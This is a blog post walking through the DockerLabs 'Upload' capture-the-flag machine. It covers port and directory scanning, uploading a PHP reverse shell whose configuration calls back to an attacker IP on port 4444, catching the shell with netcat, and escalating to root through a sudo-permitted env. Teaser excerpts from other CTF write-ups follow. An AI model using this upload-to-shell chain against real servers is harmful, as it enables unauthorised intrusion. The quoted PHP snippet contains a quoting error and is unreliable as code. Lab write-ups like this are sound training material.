UPLOAD DOCKERLABS

 UPLOAD


┌──(root㉿kali)-[/home/luis/Descargas/upload]
└─# bash auto_deploy.sh upload.tar                                                       

Estamos desplegando la máquina vulnerable, espere un momento.

Máquina desplegada, su dirección IP es --> 172.17.0.2

Presiona Ctrl+C cuando termines con la máquina para eliminarla

┌──(root㉿kali)-[/home/luis]
└─# ping -c3 172.17.0.2             
PING 172.17.0.2 (172.17.0.2) 56(84) bytes of data.
64 bytes from 172.17.0.2: icmp_seq=1 ttl=64 time=0.219 ms
64 bytes from 172.17.0.2: icmp_seq=2 ttl=64 time=0.052 ms
64 bytes from 172.17.0.2: icmp_seq=3 ttl=64 time=0.081 ms

--- 172.17.0.2 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2049ms
rtt min/avg/max/mdev = 0.052/0.117/0.219/0.072 ms

Once the host was identified, Nmap, a port scanning tool, was used to discover which services were running on the machine. The scan revealed  port 80 (HTTP) was open. 
┌──(root㉿kali)-[/home/luis]
└─# nmap -n -Pn -p- --min-rate 5000 172.17.0.2 -vvv -sV 2>/dev/null
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-11 12:51 CEST
NSE: Loaded 47 scripts for scanning.
Initiating ARP Ping Scan at 12:51
Scanning 172.17.0.2 [1 port]
Completed ARP Ping Scan at 12:51, 0.17s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 12:51
Scanning 172.17.0.2 [65535 ports]
Discovered open port 80/tcp on 172.17.0.2
Completed SYN Stealth Scan at 12:51, 1.31s elapsed (65535 total ports)
Initiating Service scan at 12:51
Scanning 1 service on 172.17.0.2
Completed Service scan at 12:51, 6.05s elapsed (1 service on 1 host)
NSE: Script scanning 172.17.0.2.
NSE: Starting runlevel 1 (of 2) scan.
Initiating NSE at 12:51
Completed NSE at 12:51, 0.03s elapsed
NSE: Starting runlevel 2 (of 2) scan.
Initiating NSE at 12:51
Completed NSE at 12:51, 0.02s elapsed
Nmap scan report for 172.17.0.2
Host is up, received arp-response (0.000010s latency).
Scanned at 2025-10-11 12:51:41 CEST for 8s
Not shown: 65534 closed tcp ports (reset)
PORT   STATE SERVICE REASON         VERSION
80/tcp open  http    syn-ack ttl 64 Apache httpd 2.4.52 ((Ubuntu))
MAC Address: 02:42:AC:11:00:02 (Unknown)

Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.17 seconds
           Raw packets sent: 65536 (2.884MB) | Rcvd: 65536 (2.621MB)

With the web service identified on port 80, the next step was to search for hidden directories and files. The Gobuster tool was used with a common wordlist for this purpose as you can see below, but gobuster discovered an interesting directory named /upload.php. This finding suggested the existence of upload a malicious file that could be a target for a vulnerability.
┌──(root㉿kali)-[/home/luis]
└─# gobuster dir -u "http://172.17.0.2/"  -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x bak,txt,php,tar,js,html                 
===============================================================
Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://172.17.0.2/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.8
[+] Extensions:              bak,txt,php,tar,js,html
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index.html           (Status: 200) [Size: 1361]
/uploads              (Status: 301) [Size: 310] [--> http://172.17.0.2/uploads/]
/upload.php           (Status: 200) [Size: 1357]

In addition, we are going to this webpage yo create the reverse Shell as you can see below.
https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php

<?php
// php-reverse-shell - A Reverse Shell implementation in PHP. Comments stripped to slim it down. RE: https:>
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net

set_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.88.6";
$port = 4444;
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/bash -i';
$daemon = 0;
$debug = 0;

Now, we have to upload malicious file which we should be able to get reverse shell into the victim machine as you can se below.


In addition, we can see  reverse2.php has been uploaded sucessfully as you can see below.


Now if we execute the malicious file, we should be able to obtain the reverse shell as you can see below.
┌──(root㉿kali)-[/home/luis]
└─# nc -lvp 4444     
listening on [any] 4444 ...
172.17.0.2: inverse host lookup failed: Unknown host
connect to [192.168.88.6] from (UNKNOWN) [172.17.0.2] 36098
Linux 386e8f7cb8c4 6.12.38+kali-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.12.38-1kali1 (2025-08-12) x86_64 x86_64 x86_64 GNU/Linux
 13:02:49 up 20 min,  0 users,  load average: 0.90, 1.74, 1.81
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
bash: cannot set terminal process group (25): Inappropriate ioctl for device
bash: no job control in this shell
www-data@386e8f7cb8c4:/$ 
Now, we must execute the next commands to create persistence in the machine you can see below which are:
  1. script /dev/null -c bash
  2.  ^Z
  3. stty raw -echo;fg 
  4. reset xterm
  5. export TERM=xterm
  6. export SHELL=BASH
script /dev/null -c bash
Script started, output log file is '/dev/null'.
www-data@386e8f7cb8c4:/$ ^Z
zsh: suspended  nc -lvp 4444
                                                                                                            
┌──(root㉿kali)-[/home/luis]
└─# stty raw -echo;fg    
[1]  + continued  nc -lvp 4444
                              reset xterm

www-data@386e8f7cb8c4:/$ export SHELL=BASH
www-data@386e8f7cb8c4:/$ export TERM=xterm

In addition, we can discover with sudo -l  command the escalate privilege as you can see below with the next steps:
  1. sudo -l (To listing perms)
  2. sudo -u "root" env /bin/bash (To exploting vulnerability)
www-data@386e8f7cb8c4:/$ sudo -l
Matching Defaults entries for www-data on 386e8f7cb8c4:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User www-data may run the following commands on 386e8f7cb8c4:
    (root) NOPASSWD: /usr/bin/env

We as see the gallery user should be able to convert in this user and we have to the gtobins website and obtain more information as you can see below.



www-data@386e8f7cb8c4:/$ sudo -u "root" env /bin/bash
root@386e8f7cb8c4:/# whoami
root
Thank you very much for reading this article

I hope you liked and learned something new

This article has been done with ethical proposes

Good Hack

Comments

Post a Comment

Entradas Populares

INTERNAL

Image
 INTERNAL(TRYHACKME) First of all, let's go execute nmap command to identify alives ports and version with this host 192.168.88.6 as you can see below. Key open ports and services include: Web Servers: Port 80 (HTTP):  Running  Apache2 Ubuntu Default Page . It supports  OPTIONS ,  TRACE  (flagged as potentially risky),  GET ,  HEAD , and  POST  methods. The webpage title is " INTERNAL ". SSH Protocol Port 22 (SSH): Running Linux . ┌──(root㉿kali)-[/home/luis/Descargas] └─# nmap -n -Pn -p- --min-rate 5000 -sC 10.10.216.78 -vvv Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-07 12:06 CEST NSE: Loaded 126 scripts for scanning. NSE: Script Pre-scanning. NSE: Starting runlevel 1 (of 2) scan. Initiating NSE at 12:06 Completed NSE at 12:06, 0.00s elapsed NSE: Starting runlevel 2 (of 2) scan. Initiating NSE at 12:06 Completed NSE at 12:06, 0.00s elapsed Initiating SYN Stealth Scan at 12:06 Scanning 10.10.216.78 [65535 ports] Discove...
Read more »

TOR WEB BROWSER

Image
  TOR WEB BROWSER TOR INSTALLATION First of all; we're going to this link from the oficial webpage: https://www.torproject.org/es/download/   where we have to download this version our laptop, Windows and Linux but in my case I've had to download for Windows 10. When the program is installed we will press execute and we'll follow step by step:   We'll open and we'll see this image where you have to select the language and select ok to continue the instal l ation. In addition, we'll select the location wherever you want install the program, but in my case I prefer the default location and you'll able to select wherever you want. Now, we will be started the installation process and when it finished you will be able to see the picture below: TOR CONNECT If the process has been successful, you will be able to connect with the connect button which you can observe in both pictures below: ADD A BRIDGE ...
Read more »

activedirectory

Image
ACTIVEDIRECTORY (TRYHACKME) First of all, let’s go to execute nmap toolkit and we'll be able to start the enumeration of the ports as you can see below with this command: sudo nmap -n -Pn -p- --min-rate 5000 10.10.135.154 -vvv -sC -sV This revealed several open TCP ports with associated services, including: DNS (53),  HTTP  (80),  Kerberos (88),  RPC (135),  NetBIOS-SSN (139),  SMB (445),  RDP (3389),  WS-Management (5985)  LDAP (389, 636, 3268, 3269) Moreover, service and NSE script detection provided valuable information about the services running on these ports, such as IIS 10.0, Microsoft Windows Kerberos , Active Directory LDAP , and Microsoft Terminal Services . The SSL/TLS certificate information on port 3389 indicated the common name AttacktiveDirectory.spookysec.local, reinforcing the target as an Active Directory server. rdp-ntlm-info also provided details about the domain (THM-AD) and computer name (ATTACKTIVEDIREC) as you can se...
Read more »

PICKLE RICK

Image
  PICKLE RICK I'm going to realize the resolution of the machine Level Easy from Tryhackme called  Pickle Rick  which is a machine so easy to realize. First of all,  we can observe that in the picture bellow we have some inforamtion and I'm going to execute control +u  and we can see in the second picture below that we've obtained a  Username. I'm going to gathering information about machine and I have to enter in the Linux terminal and I must introduce this command which you canobserve in the picture below:   gobuster dir -u(url) http://10.10.99.188/ -w(password dictionary)  /usr/share/wordlist/dirb/common.txt -x (formato que quereos que busque) .txt*, .php, .login,  In this case, we can observe that scan has discovered this 4 webpages: /assests /denied.php /index.html /login.php /robots.txt Now, we can see such as the web page from /robots.txt   it seems the password in the picture below. Now, we've discovered this login web page...
Read more »

Metasploit Framework

Image
 METASPLOIT FRAMEWORK USE TO  AUXILIARY MODULE FROM METASPLOIT First of all, I have used the auxiliary modules from Metasploit-Framework which could allow me Scanning, see ports, SO version, vulnerability in applications etc, where you can see at the bottom of the picture if  I use this module whose name is: auxiliary/scanner/discovery/arp_sweep  (To verify the IPs listening in the network) Now, we can observe that when I have selected in the auxiliary module I have had to do this set up  that we can observe in the second page below: INTERFACE : This I've set up the network interface that in my case is the eth0 interface. RHOSTS :This I've set up the IP Address which I am finding out that in my case is 192.168.100.0/24 (all the IP Address from network that could be possible which I am analyzing). THREADS : Are the threads; it's the fast  that I want to analyze the IP Addresses but in my case there are 15 threads because I want to analize as fast as possible...
Read more »

HOSTING

Image
HOSTING First of all, let's go to hosting machine from active directory, for it  using arp-scan to discover active hosts on the local network, identifying 192.168.88.8 as you can see in below. ┌──(kali㉿kali)-[~] └─$ sudo arp-scan -I eth0 --localnet Interface: eth0, type: EN10MB, MAC: 08:00:27:43:73:bc, IPv4: 192.168.88.5 Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan) 192.168.88.1 d8:44:89:50:2d:a3 (Unknown) 192.168.88.8 08:00:27:98:d4:bf PCS Systemtechnik GmbH 192.168.88.9 00:e0:4c:69:66:4a REALTEK SEMICONDUCTOR CORP. 3 packets received by filter, 0 packets dropped by kernel Ending arp-scan 1.10.0: 256 hosts scanned in 2.075 seconds (123.37 hosts/sec). 3 responded ┌──(kali㉿kali)-[~] └─$ ping -c1 192.168.88.8 PING 192.168.88.8 (192.168.88.8) 56(84) bytes of data. 64 bytes from 192.168.88.8: icmp_seq=1 ttl=128...
Read more »

LOVE

Image
BUSCALOVE First of all, I am going to do this machine from cybersecurity labs called BuscaLove which is easy Level. For it, let’s go to open Linux terminal and we have to write the command when we can see in the picture below. cd Descargas In addition, we have to depress the unzip file whose name’s buscalove.zip you can see in the picture below. Now we have to deploy the vulnerability machine whose command is sudo bash auto_deploy.sh buscalove.tar we can see in the picture below. On the other hand, to start the attack at virtual machine, we must verify if the attacker machine is in the same range of IP Address and we have to introduce this command which is ping -c 3 172.18.0.2 we can see in the picture below. As I,ve just seen the IP Address it’s in the same range of my IP Address we have to introduce the command with nmap tool which is nmap -n -Pn 172.18.0.2 -p- - -min-rate 4000 -vvv( here you can see in this picture the scanner) but I’ve got it 2 ports: 22: open ssh 80: open http No...
Read more »

CHANGE MACHINE

Image
CHANGE  First of all, let's go to hosting machine from active directory, for it  using  arp-scan  to discover active hosts on the local network, identifying  192.168.88.8   as you can see in below . ┌──(root㉿kali)-[/home/luis] └─# arp-scan -I eth0 --localnet Interface: eth0, type: EN10MB, MAC: 08:00:27:4d:8a:0f, IPv4: 192.168.88.6 WARNING: Cannot open MAC/Vendor file ieee-oui.txt: Permission denied WARNING: Cannot open MAC/Vendor file mac-vendor.txt: Permission denied Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan) 192.168.88.1 d8:44:89:50:2d:a3 (Unknown) 192.168.88.4 00:e0:4c:97:01:a7 (Unknown) 192.168.88.5 00:d8:61:fa:c0:4a (Unknown) 192.168.88.7 08:00:27:b1:ae:9f (Unknown) 4 packets received by filter, 0 packets dropped by kernel Ending arp-scan 1.10.0: 256 hosts scanned in 1.848 seconds (138.53 hosts/sec). 4 responded Now, let's go execute nmap command to identify alives ports and version with this host  192.168.88...
Read more »